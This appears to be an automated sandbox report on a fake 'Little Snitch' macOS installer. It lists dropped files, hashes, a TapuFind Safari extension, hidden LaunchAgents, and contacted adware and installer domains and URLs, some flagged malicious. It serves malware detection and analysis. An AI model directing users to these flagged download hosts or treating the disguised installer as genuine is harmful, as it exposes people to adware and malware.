SHA1:	F6B66E6738DAF029EB1908C7590E1190C48D3CD2
SHA-256:	60C229DA8904A20D659968BD024263FA0CEB6C1B13AB1F06B7815178ECCFCDBF
SHA-512:	553AAC368768E9386B935EBBCA6DD204BAA2D8172097E568E9475F98C857550F021EA32E809BEBE4B5F6F9FB486197BD1FB50F30A12C659E0A55773BC88E2B99
Malicious:	false
Reputation:	low

/Users/henry/Library/Caches/com.apple.Safari/Extensions/TapuFind.safariextension/Info.plist Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	XML document text
Size (bytes):	1251
Entropy (8bit):	5.03806986997136
Encrypted:	false
MD5:	686EAB93E2F69C4ACB4C5BE0BE2300CB
SHA1:	C1474B7A7244E90874F6B87DAD93560D0DD8AA78
SHA-256:	8E4D5B825E036F82AD3AC515C6EFC16EF82AD7B20D8669CE48E7DBAF86D7BABC
SHA-512:	7FB6015B4373DBF317C8B4AFB212832DEA575C4E8CE5F7FDEE8FA0D2EA509CDC3601B75949768D20A2E6E62F59A140919E7FD1C0B623218A38067975FB8E62F2
Malicious:	false
Reputation:	low

/Users/henry/Library/Caches/com.apple.Safari/Extensions/TapuFind.safariextension/Settings.plist Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	XML document text
Size (bytes):	1217
Entropy (8bit):	5.234285216614725
Encrypted:	false
MD5:	F05424D759BE98726C5403E1B84FAEDC
SHA1:	B9CF6CC84EDA778BCCA53167FF747543CCEBE7FF
SHA-256:	CF9ED051A8EE7AEA447A8B0B0C455E5D96A36FBFB117A181FA00950DE8075C1A
SHA-512:	E8967B3377197C16D5F1794E3B079CC9933ECBF327476068D92C43C799AA875702E2EA1F0B2686B2BF2BB58F0FE3B87A408443A1EF625F08160C8398A0706DEC
Malicious:	false
Reputation:	low

/Users/henry/Library/Caches/com.apple.Safari/Extensions/TapuFind.safariextension/global.html Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	HTML document text
Size (bytes):	14642
Entropy (8bit):	3.622380793716892
Encrypted:	false
MD5:	ED4F8BC1857621A3D52CFB50C461E247
SHA1:	4E0683175D1106ABA686B788CA928EAEB15A4029
SHA-256:	066B2C62C3B6C9B4415DC8C00DF3FD4BE33BA41A53CD01F70085D02E2A6113DF
SHA-512:	DC26E7655B5268AB58558F3336FA14F60C04D2B0055C232319E1F2EA3024703CBAF83C664A62247F58FE322809485FD909C941FCD632A558B41E841A69EF5692
Malicious:	false
Reputation:	low

/Users/henry/Library/Caches/com.apple.Safari/Extensions/TapuFind.safariextension/icon.png Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
Size (bytes):	15590
Entropy (8bit):	7.961497810813123
Encrypted:	false
MD5:	E2F20496A5CC2AEE49CADBE704FB7098
SHA1:	EC23A6E09CDFA36B8D0744BCC1712E106FA7B003
SHA-256:	1AD07C7F29F349902F95D3527C34754FE2765B0201FD16BB7D2FD2F0708478FD
SHA-512:	6E618D2FE7A4C298F41A6180DD686625FF46F96A5BA0072FF089AC5DF8D0FA1AD393479A3E73D8BFD7D00A84B125AB72BE83D2BE81CCE240DEBFEE882957E46B
Malicious:	false
Reputation:	low

/Users/henry/Library/Caches/com.apple.Safari/Extensions/TapuFind.safariextension/inject.js Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	ASCII C++ program text
Size (bytes):	2909
Entropy (8bit):	4.367004899505731
Encrypted:	false
MD5:	59668CFEF61B65CA882A2B243C90BB58
SHA1:	6446E58F665109D9B4CFB7FA41CDDFDC58796BEB
SHA-256:	6C314CDA38690330571E5E717470922385AE1E4D7CC52D64C36AB4F606BE7EAE
SHA-512:	83180DB41449EC91D261090F9DC130C4A177363620038BAE7D7C26294EF782BF4DF47B4AE5C7E438EE4647F8AD21DBC8284FAE8FE9ED9D5DBF5563B4CB435F9C
Malicious:	false
Reputation:	low

/Users/henry/Library/LaunchAgents/.dat.nosync02b9.Xbmr58 Download File
Process:	/tmp/macsearch.app/Contents/MacOS/macsearch
File Type:	XML document text
Size (bytes):	714
Entropy (8bit):	5.28242063043188
Encrypted:	false
MD5:	2D571FF582288DD10834C35965319048
SHA1:	16723B62AF90480FDFFB2D7D838BC1C058DD0F84
SHA-256:	84A7F5683812B0D11863D1B97DA40969594105BF25ED7276039E284E5C7D4B1C
SHA-512:	DB973009F5A58AECC55A16C771D391E53AA70295DC8D840931C0D72F51327AECD08D9EC8B6DCE51CFFE5000A7C332A875537C9202A6A843004381CBB5A9B6DBE
Malicious:	false
Reputation:	low

/Users/henry/Library/LaunchAgents/.dat.nosync02b9.u0j70j Download File
Process:	/tmp/macsearch.app/Contents/MacOS/macsearch
File Type:	XML document text
Size (bytes):	714
Entropy (8bit):	5.28242063043188
Encrypted:	false
MD5:	2D571FF582288DD10834C35965319048
SHA1:	16723B62AF90480FDFFB2D7D838BC1C058DD0F84
SHA-256:	84A7F5683812B0D11863D1B97DA40969594105BF25ED7276039E284E5C7D4B1C
SHA-512:	DB973009F5A58AECC55A16C771D391E53AA70295DC8D840931C0D72F51327AECD08D9EC8B6DCE51CFFE5000A7C332A875537C9202A6A843004381CBB5A9B6DBE
Malicious:	false
Reputation:	low

/Users/henry/Library/Safari/.dat.nosync02be.EhTyAE Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	Apple binary property list
Size (bytes):	1301
Entropy (8bit):	6.943691648032005
Encrypted:	false
MD5:	0A038551279AFEBB080F17D0167C9F8E
SHA1:	D8D13DF33926E1D1E44850879C847CA907F7AA2F
SHA-256:	E6BA976B4A6BFAC82283F57EEC2E477C52C5BE1BEF8FA186ABD36BBA3EBEC525
SHA-512:	E2DC8C9DAE861B50C8EEDEB5D29417E39C37B1A4F5ADA67586EFF7CB09E5850EBF281831984B7EBE176A03744E181C3D1EEF5B90B3A6C7DF7A1C1244C2DBFA7D
Malicious:	false
Reputation:	low

/Users/henry/Library/Safari/.dat.nosync02be.OIdkZD Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	XML document text
Size (bytes):	1012
Entropy (8bit):	5.286991847916908
Encrypted:	false
MD5:	0C29425555C7FF0CA114B1FD0DC39C50
SHA1:	D7D808E8BE92462F4C3CEBA66734F0E9BB26ACDD
SHA-256:	52826AFEEC974BB7BACB85BDC01DC4F23BF917D65E04773D7CAD393F7866F3FD
SHA-512:	D9C8364A85F4B4A96CAAC1409F32F9D6B2F8AE19201E0ABD2D449A3EEDADD471E99E44BC92DEB5D8FB60287DA64A88E61B45F759E7B9A383A9BBE5F5FD242F95
Malicious:	false
Reputation:	low

/Users/henry/Library/Safari/.dat.nosync02be.mFgBOu Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	empty
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	false
Reputation:	low

/Users/henry/Library/Safari/Extensions/.dat.nosync02be.9uS08Z Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	empty
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	false
Reputation:	low

/Users/henry/Library/Safari/Favicon Cache/favicons/.dat.nosync02be.xXJadS Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	empty
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	false
Reputation:	low

/Users/henry/Library/WebKit/com.apple.Safari/WebsiteData/ResourceLoadStatistics/full_browsing_session_resourceLog.plist Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	empty
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	false
Reputation:	low

/Users/henry/Library/X2441139MAC/Temp/chs Download File
Process:	/Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer
File Type:	ISO 9660 CD-ROM filesystem data 'SetupInstaller '
Size (bytes):	528384
Entropy (8bit):	5.659242540825961
Encrypted:	false
MD5:	74A56F2E5B7713F59BA995B244073C06
SHA1:	69F431758AEB97AA0F4BC29A961F15E4A6242C06
SHA-256:	474259C90D3400D3DB2A8D24C491058CEA9E2112B0F7FDF57C0A6896B61350F6
SHA-512:	D99DE3E93501197888A06E4A1935D394233F88C235E652A49B6FECA25A800EE4E7B88F0AA2AEDE2322ADFA9B73D625E4BD14E12CEFD68B2C9B5C949AC3D70035
Malicious:	true
Reputation:	low

/Users/henry/Library/X2441139MAC/Temp/mcwnet Download File
Process:	/Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer
File Type:	VAX COFF executable not stripped - version 28357
Size (bytes):	118003
Entropy (8bit):	7.737845366466953
Encrypted:	false
MD5:	24553B43201FEF4DAD2EDD1BB4874E0A
SHA1:	9B77A4DCAD5E84E0401D932A97EE290B6DF1FACE
SHA-256:	58CBA382D3E923E450321704EB9B09F4A6BE008189A30C37ECA8ED42F2FA77AF
SHA-512:	AC09050B360904A187DEE11B8E5B1E55CC588B997521D85292513C80D75D1150AC1B3078EBF93DCC929AE6C3CD023401DF1F1EB8567E80A2C64499A2B20D2F26
Malicious:	true
Reputation:	low

/Users/henry/Library/X2441139MAC/Temp/track_mac.php%3Fcc={GEO}%26clickId={clickId}%26affId={affId}%26transId=3gggkfl1b0pp5pt5sadh Download File
Process:	/Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer
File Type:	bzip2 compressed data, block size = 100k
Size (bytes):	1193456
Entropy (8bit):	7.525181378545199
Encrypted:	false
MD5:	1D08C3057036C64D957DFAE12349C5FE
SHA1:	81D35A936565DF99F2C2E0111021476C7D968933
SHA-256:	E7A47A42D8A44EA86087A93AA34D1A6D1772ABF4D1E8B2A395A2111D7DE9AE36
SHA-512:	F38B0286223308D705E206D51147C219D77859FE52BF23C4928CF3030AB15DAB4DEA53CF9558360833A6B1648FC09A636E0E1984E58790CC831C0D4E2F07883B
Malicious:	true
Reputation:	low

/dev/null Download File
Process:	/System/Library/CoreServices/ReportCrash
File Type:	ASCII text
Size (bytes):	55
Entropy (8bit):	4.175201596658526
Encrypted:	false
MD5:	F16EEE4ED821089568EFB67D52AB5895
SHA1:	B2DA22E0037E6E05DC4810EC795D2E4C6086FC1B
SHA-256:	1C4F87FF66AF84F09E211E2261F98F1EEF91720E6929D2FE41D2EB577EA04269
SHA-512:	5EB360D4A9E4D375D7A0846FD08D90C97D9CD2A1EC02B5AEA3F7FD020AD2084753B566DB14BE44F47E3420E9B9982A456E7B14839971DE5155727FE6B7CAC636
Malicious:	false
Reputation:	low

/private/tmp/.dat.nosync02b9.9vvQhe Download File
Process:	/tmp/macsearch.app/Contents/MacOS/macsearch
File Type:	xar archive version 1, SHA-1 checksum
Size (bytes):	49644
Entropy (8bit):	7.993576064783067
Encrypted:	true
MD5:	1C19B4EA058D6D2BC6430CF85954665F
SHA1:	8BD23ECBFEB902D96135653B70349E81CABE61F4
SHA-256:	E265C0089D39B1BDA385D1F9A15C6576903783D9F25C810AAC74A673188015F3
SHA-512:	4473450ECA67E9256B3FF81CF971F1DA25AD31EA25786EE38CC6101CD5BEA46CA9F2B135F2E57DC2DB0A47CC63C62315BF1D2E85F0FF647F475CC345802F18A3
Malicious:	false
Reputation:	low

/private/tmp/macsearch.app/Contents/.BC.T_6vxTVo Download File
Process:	/usr/bin/ditto
File Type:	ASCII text, with no line terminators
Size (bytes):	8
Entropy (8bit):	1.75
Encrypted:	false
MD5:	23B7D7D024ABB0F558420E098800BF27
SHA1:	9F9EEA0CFE2D65F2C3D6B092E375B40782D08F31
SHA-256:	82502191C9484B04D685374F9879A0066069C49B8ACAE7A04B01D38D07E8ECA0
SHA-512:	F77D501528DD0CED155C80406CFBEE38D5D3649B64D2A9324F3D6CEE39491EB8F54CDEBAE49C6E21A20D2309D8FAE1B01C41631224811E73483DB25A2695738C
Malicious:	false
Reputation:	low

/private/tmp/macsearch.app/Contents/.BC.T_8EnSAw Download File
Process:	/usr/bin/ditto
File Type:	XML document text
Size (bytes):	1580
Entropy (8bit):	5.170827368377211
Encrypted:	false
MD5:	42AF7FE27BCDFF4B9073F4274F17E970
SHA1:	115AC1F26C9F8E370A297062EABC4D32841913A9
SHA-256:	4F16B01B73FF9E02E7AFE2BFB26CD6CD2091AD481CEA90AD73331C2287B0FFC3
SHA-512:	3065CBF4054A0961C1AB38BC2DB32046C15D82DC33665F1F6B3DF93A8065F74EA7167034B2C6BA80B79D74CC0DE5EBC9CD9AD48E3F13BE930DC5D3471B00F8FE
Malicious:	false
Reputation:	low

/private/tmp/macsearch.app/Contents/MacOS/.BC.T_5fp5Ob Download File
Process:	/usr/bin/ditto
File Type:	Mach-O 64-bit executable
Size (bytes):	191704
Entropy (8bit):	5.475547733407256
Encrypted:	false
MD5:	D74879F400165ADDCB03FA853A4448E8
SHA1:	E75445A2CF9FD874F4D749D986464CF1955CA3A9
SHA-256:	B31BF0DA3AD7CBD92EC3E7CFE6501BEA2508C3915827A70B27E9B47FFA89C52E
SHA-512:	C9AA638CC67B634874959AFB74BB937595DC3EB2C2F9EE545A9DF5D2C7F177730A0E1C0AFDC8FD64C9E0F10F0F62E0D1BCA9029DC5816C4EB7DAD8155467DCDE
Malicious:	true
Reputation:	low

/private/tmp/macsearch.app/Contents/Resources/Base.lproj/.BC.T_g27T4p Download File
Process:	/usr/bin/ditto
File Type:	Apple binary property list
Size (bytes):	27183
Entropy (8bit):	6.986722711936743
Encrypted:	false
MD5:	FC6B1DFEB4A8971F1694F1ED18B2EE5A
SHA1:	80525D190B9D3C39EB5327215A524DBA4597B94E
SHA-256:	B3F7D4E3F86944ED0E978CE46E95440EDCE03656314F16708767743027D8BD24
SHA-512:	20F37098E2C6B855208FFB188A5AD01CD6C7285DEE2617039A92D96BE0FAB2408F287260396A1C39CC17270DF62AD16E270E7402E40B87CC037810AA237C5877
Malicious:	false
Reputation:	low

/private/tmp/tapufind/.dat.nosync02b9.DAOwrT Download File
Process:	/tmp/macsearch.app/Contents/MacOS/macsearch
File Type:	Mach-O 64-bit executable
Size (bytes):	216256
Entropy (8bit):	5.644777613907029
Encrypted:	false
MD5:	13C676274533455C3C25091F6398EF34
SHA1:	A2676B67A4267CF8AF2148F1DA49958891B8319F
SHA-256:	AC250D4166327059D582404558590586F06A697DB6827F95F274ED741DEB2746
SHA-512:	43EEE2692858AB38642E77A292E9D6F6BD73140600B1DC1001353E6335DF417D87318C6029CBDF34A86D7B16E911B0C5627789CDFCDB450B8E9055A130C7A7FB
Malicious:	true
Reputation:	low

/private/tmp/tapufind/.dat.nosync02b9.IwDBz8 Download File
Process:	/tmp/macsearch.app/Contents/MacOS/macsearch
File Type:	XML document text
Size (bytes):	665
Entropy (8bit):	5.282127912750012
Encrypted:	false
MD5:	D95C40806F02F8EF67517CDB3A7BA648
SHA1:	9C77C1A734C4BC457EF1D850EE49164251774061
SHA-256:	51C1582C5F4DDF70FD29391E19E8ACB2EEDC3B56CDC31A1E9D953FE79427C46E
SHA-512:	8E687C4C967E6145E63439B6A11ED3FFB372318480942E1546F6BF14EEC0808BB6E00766B3A59169C643DC5867D9171A07A6D2A022165E577D9BF2DB5BFAE420
Malicious:	false
Reputation:	low

/private/tmp/tapufind/.dat.nosync02b9.o9GXrL Download File
Process:	/tmp/macsearch.app/Contents/MacOS/macsearch
File Type:	Mach-O 64-bit executable
Size (bytes):	240784
Entropy (8bit):	5.284103165082807
Encrypted:	false
MD5:	EAA8C972CE923C54866282E31F1B8A87
SHA1:	0CD6EEFC64BFD3AF2A9C190E92615D131BD2B013
SHA-256:	A370094CDDE12DD1121464713812588038D9BE4C7FACFD25A26F31D6241974D2
SHA-512:	7C0FD358724DBFEFD16EEC8C31746F8C7489089605C47B7631DD323F80992B8A6C1F3D8A67C80EAA22FC727E6539602BDBE60B9556BDCF543E7DD53428DFFE18
Malicious:	true
Reputation:	low

/private/tmp/tapufind/.dat.nosync02b9.raddFF Download File
Process:	/tmp/macsearch.app/Contents/MacOS/macsearch
File Type:	Mach-O 64-bit executable
Size (bytes):	240784
Entropy (8bit):	5.284103165082807
Encrypted:	false
MD5:	EAA8C972CE923C54866282E31F1B8A87
SHA1:	0CD6EEFC64BFD3AF2A9C190E92615D131BD2B013
SHA-256:	A370094CDDE12DD1121464713812588038D9BE4C7FACFD25A26F31D6241974D2
SHA-512:	7C0FD358724DBFEFD16EEC8C31746F8C7489089605C47B7631DD323F80992B8A6C1F3D8A67C80EAA22FC727E6539602BDBE60B9556BDCF543E7DD53428DFFE18
Malicious:	true
Reputation:	low

/private/tmp/tapufind/.dat.nosync02b9.sOJfNr Download File
Process:	/tmp/macsearch.app/Contents/MacOS/macsearch
File Type:	XML document text
Size (bytes):	665
Entropy (8bit):	5.282127912750012
Encrypted:	false
MD5:	D95C40806F02F8EF67517CDB3A7BA648
SHA1:	9C77C1A734C4BC457EF1D850EE49164251774061
SHA-256:	51C1582C5F4DDF70FD29391E19E8ACB2EEDC3B56CDC31A1E9D953FE79427C46E
SHA-512:	8E687C4C967E6145E63439B6A11ED3FFB372318480942E1546F6BF14EEC0808BB6E00766B3A59169C643DC5867D9171A07A6D2A022165E577D9BF2DB5BFAE420
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/0/SafariFamily/Safari/.dat.nosync02be.T5NsRQ Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	Apple binary property list
Size (bytes):	76
Entropy (8bit):	3.9370658315190226
Encrypted:	false
MD5:	CDC65B5F112547EAFAE0F16F9C149426
SHA1:	AEAF9908A5B6FF3E2F7B738ABF5FE9E79108BA01
SHA-256:	1C6D085D871A855CE4A3902BAB4B9B92631B8EE8F0B7F6536768A2AAF427B45C
SHA-512:	E8B0E4CE6A760A718A19976D3CFE9063F04FB4BF179947AECA84E94C83F21459FB9DC0FFABEA8F633BD2D0BA94FE1E15D8C97E9604FDE8BD0DEA961EB83BDDB7
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/C/com.apple.Safari/com.apple.metal/Intel HD Graphics 4000/functions.maps Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	data
Size (bytes):	4096
Entropy (8bit):	4.248808568511771
Encrypted:	false
MD5:	504E49C455101E7C8CA659CA89D9F0C9
SHA1:	985DD498791979A1DA0DF4E04B078083FF4A5F9D
SHA-256:	2255BA39F706F28729B9C9F8362E7698FD36DDDCCFC76F937AE66EC58646668D
SHA-512:	C9CE363B9AF7512914D482A087DA0F4B6AA109FDBC0E666837022B5AE00415FD0AAD5AFCCD58CEE1F048D2716C8133420AA5CBCFDB90CE5486374C68983B5EED
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/C/com.apple.Safari/com.apple.metal/libraries.maps Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	data
Size (bytes):	1536
Entropy (8bit):	3.264794799333581
Encrypted:	false
MD5:	D699DC73A8C90F95A381FFD302DD204F
SHA1:	5294A2078F7C0325E357DB24A6B3AA0E70318596
SHA-256:	C39854B258219A54367A66DE9CF34F3A57720C2E33B7237D7BA5B47E1CF34827
SHA-512:	8D625819A9F93E1F825A92FF85EE0755C7B2C0691AAE449786771763AE9616A08EF563109A5FC24F2E78337685B3317F9C249B6BDA45D332116370FC539D48DF
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/C/com.installcapital.www/com.apple.metal/Intel HD Graphics 4000/functions.maps Download File
Process:	/Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer
File Type:	data
Size (bytes):	2048
Entropy (8bit):	1.3479636092887752
Encrypted:	false
MD5:	BD4096D0B47F1E8618F2B6F08BE54CA4
SHA1:	0102B7D0A4E06F4F77F30AC2C5EF7405EF700C01
SHA-256:	EB17465D512C09AA4C674B1694CF2E3FD23CCE67BC6F8120614A3C658643501B
SHA-512:	072FD4E330A2EFAF1EC09B3DDF8A5BDC4C3172D8778203CA8E49CD8BD72864A081D3513FBFDF747A9CB4F4E98ABC9A501F95AF9665635DEE125FFA38C654ED57
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/C/com.installcapital.www/com.apple.metal/libraries.maps Download File
Process:	/Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer
File Type:	data
Size (bytes):	1024
Entropy (8bit):	1.0581734852774907
Encrypted:	false
MD5:	55417E3F130B653134BFF1D1D35B6FC3
SHA1:	478CCD22DB24A653BEDA967C3AFADBE4CE0FB405
SHA-256:	9907DA01E3EB9D4320016D757C26945B42298D19E61F8AA3597F7F65DCF9FED3
SHA-512:	07DA24E6E206BE19DF85C7216C8499CB451791F3EDF44916B73B6ED4A1087AA0551FA6DB91B1D1EE4B76E753B0BD54A7957F1A71F4C43726DCDDE29103372D5F
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/C/mds/mdsDirectory.db_ Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	Mac OS X Keychain File
Size (bytes):	48908
Entropy (8bit):	3.533948990143748
Encrypted:	false
MD5:	09070E01FA6ED1973D94FAD50C35E3ED
SHA1:	7546663E66F9889EE3365A7A0BE372300C6022CA
SHA-256:	2E6EC437A97DD88F9067B2E99AC64789670D9B9C1FC50B2856E392E66163211F
SHA-512:	621399FF832F1A8352E5E9A54984B878C7D3432156D9CF9986A1A5B75662E92D9A00FA1BA6714D679286BB49E71916F72655AADA2B99880A2806FAFC6F86E7F3
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/C/mds/mdsObject.db_ Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	Mac OS X Keychain File
Size (bytes):	4404
Entropy (8bit):	3.5113078915037033
Encrypted:	false
MD5:	D487F899A14AE98519B46D51BC810F1B
SHA1:	64877ECFBE47ED66EED545B2449BBE8B22B775D0
SHA-256:	4835899C464487946E281D535381D4CAB8BC90EC08CD00A6A0ECB97854E9321D
SHA-512:	EB4FABD61B4FD2B9EF3C9E93793CA5F11353A1F81EA4DA22E0F79ED45D89180B77469B9E5DCD5350AE650B31DE9018743DA7716EFA7B5CDDFC3FA7A13C476F40
Malicious:	false
Reputation:	low

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s3.us-west-1.amazonaws.com	52.219.28.25	true	false	high
cat.fr.eu.criteo.com	178.250.0.160	true	false	high
waws-prod-ch1-007.cloudapp.net	23.101.169.175	true	false	unknown
r.lb.bstatic.com	5.57.16.100	true	false	high
a279.dscq.akamai.net	23.10.249.168	true	false	high
www.c.booking.com	5.57.17.220	true	false	high
1.cpm.ak-is2.net	77.245.58.158	true	false	unknown
a771.dscq.akamai.net	95.100.97.91	true	false	high
gum.criteo.com	178.250.2.146	true	false	high
gem.gbc.criteo.com	185.235.84.23	true	false	high
q.lb.bstatic.com	5.57.17.99	true	false	high
publishcontroller.cloudapp.net	52.174.148.190	true	false	unknown
defrnav65y4-1114559879.us-west-2.elb.amazonaws.com	52.40.4.65	true	false	high
static.criteo.net	178.250.0.130	true	false	high
ag.gbc.criteo.com	185.235.84.37	true	false	high
csm.nl.eu.criteo.net	178.250.2.150	true	false	high
feedrouter-southcentralus.cloudapp.net	13.84.45.249	true	false	unknown
cs715.wac.edgecastcdn.net	192.229.133.51	true	false	high
www.lb.bstatic.com	5.57.17.90	true	false	high
linkury-bumbleb-statisticsservice-new-southcentralus.cloudapp.net	13.66.51.223	true	false	unknown
kes.gbc.criteo.com	185.235.84.148	true	false	high
deft54yewt-330710043.us-west-2.elb.amazonaws.com	35.161.68.49	true	false	high
cs716.wac.edgecastcdn.net	192.229.133.52	true	false	high
searchportal-southcentralus.cloudapp.net	13.66.51.37	true	false	unknown
n135adserv.com	74.117.182.93	true	false	unknown
defl7uh65-818917787.us-west-2.elb.amazonaws.com	35.162.20.150	true	false	high
cas.criteo.com	178.250.0.145	true	false	high
i16-914623523.us-west-2.elb.amazonaws.com	52.89.234.147	true	false	high
linkury-webcomponents-southcentralus.cloudapp.net	65.52.32.169	true	false	unknown
tapufind.com	40.74.245.188	true	false	high
stats.hkijngy.me	unknown	unknown	true	unknown
install.osxappdownload.com	unknown	unknown	true	unknown
www.pintaj.pw	unknown	unknown	true	unknown
r.bstatic.com	unknown	unknown	false	high
cloud-search.linkury.com	unknown	unknown	true	unknown
madmax.macapproduct.com	unknown	unknown	true	unknown
q.bstatic.com	unknown	unknown	false	high
www.oplurb.space	unknown	unknown	true	unknown
svc-stats.linkury.com	unknown	unknown	true	unknown
code.jquery.com	unknown	unknown	false	high
tusak.rached.space	unknown	unknown	true	unknown
tab.tapufind.com	unknown	unknown	false	high
display.online-adnetwork.com	unknown	unknown	true	unknown
ocsp.int-x3.letsencrypt.org	unknown	unknown	false	high
aff.bstatic.com	unknown	unknown	false	high
cdn.macapproduct.com	unknown	unknown	true	unknown
t-ec.bstatic.com	unknown	unknown	false	high
www.booking.com	unknown	unknown	false	high
stats.macapproduct.com	unknown	unknown	true	unknown
www.1-1ads.com	unknown	unknown	false	high
search.tapufind.com	unknown	unknown	false	high
feed.tapufind.com	unknown	unknown	false	high
www.rached.space	unknown	unknown	true	unknown
s-ec.bstatic.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://stats.hkijngy.me/StatisticsService.svc/V1/JSON/LogEvent	false	unknown
http://34.225.153.59:10000/loadPE//bootstrap/js/bootstrap.min.js	true	unknown
http://display.online-adnetwork.com/imp?i=a3Ul5KJ911U_0	false	unknown
http://ocsp.int-x3.letsencrypt.org/MFgwVqADAgEAME8wTTBLMAkGBSsOAwIaBQAEFH7maudymrP8%2BKIgZGwWoS1gcQhdBBSoSmpjBH3duubRObemRWXv86jsoQISA05%2FLr%2B8wuv7zvqr86TvKiUl	false	high
http://static.criteo.net/js/ld/publishertag.js	false	high
http://display.online-adnetwork.com/tag?zone_id=11521&size=300x250&j=pu%3Dsearch.tapufind.com%26if%3D0%26rn%3D60494450	false	unknown
http://34.225.153.59:10000/loadPE//ListOffers.php	true	unknown
http://34.225.153.59:10000/loadPE/Image/installing.gif	true	unknown
http://search.tapufind.com/js/main.js?v=6	false	high
http://search.tapufind.com/?publisher=tapufindsf&feedid=infospace&dpid=yhs&hsimp=yhs-newtab&userid=syn_d955cead-824c-4550-9e89-02e36ed3c263&co=CH&type=YHS_TAPHP_100	false	high
http://cas.criteo.com/delivery/ajs.php?ptv=63&zoneid=296021&cb=21558021369&nodis=1&charset=UTF-8&dc=3&atfr=1&loc=http%3A%2F%2Fsearch.tapufind.com%2F%3Fq%3D	false	high
http://search.tapufind.com/tpmac.html?_publisher=mcwnet&_barcodeid=52413004&_deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c&_installDate=14-02-2019	false	high
http://svc-stats.linkury.com/StateStatisticsService.svc/V1/JSON/GetDistributorIdFromNameHttpGet?distributorName=mcwnet	false	unknown
http://stats.macapproduct.com/StatisticsService.svc/V1/JSON/LogEvent	false	unknown
http://search.tapufind.com/?q=	false	high
http://34.225.153.59:10000/loadPE//Image/sideboard.png	true	unknown
http://34.225.153.59:10000/loadPE/JavaScript/jquery.min.js	true	unknown
http://www.oplurb.space/download/downloaddm?com=df68d247-e9f2-42fa-b681-f63a4bb6ab50&=&f=setup&cifd=3gggkfl1b0pp5pt5sadh&sidw=df68d247-e9f2-42fa-b681-f63a4bb6ab50	false	unknown
http://34.225.153.59:10000/loadPE/getOffers.php	true	unknown
http://search.tapufind.com/js/auto-complete.js?v=6	false	high
http://www.pintaj.pw/erq/chs?cid=3gggkfl1b0pp5pt5sadh&f=setup	false	unknown
http://madmax.macapproduct.com/MaxMind.asmx/GetGeoInfo	false	unknown
